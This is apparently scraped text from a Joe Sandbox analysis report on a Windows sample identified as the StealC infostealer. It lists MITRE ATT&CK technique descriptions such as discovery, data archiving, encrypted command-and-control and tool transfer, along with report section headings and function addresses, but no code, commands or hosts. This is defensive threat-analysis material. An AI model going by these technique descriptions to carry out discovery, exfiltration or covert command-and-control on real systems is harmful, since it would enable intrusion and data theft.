Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 009F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 009E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 009E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 009F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 009E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 009F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 009F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 009F7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 009F69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 009E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 009F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 009E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 009F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON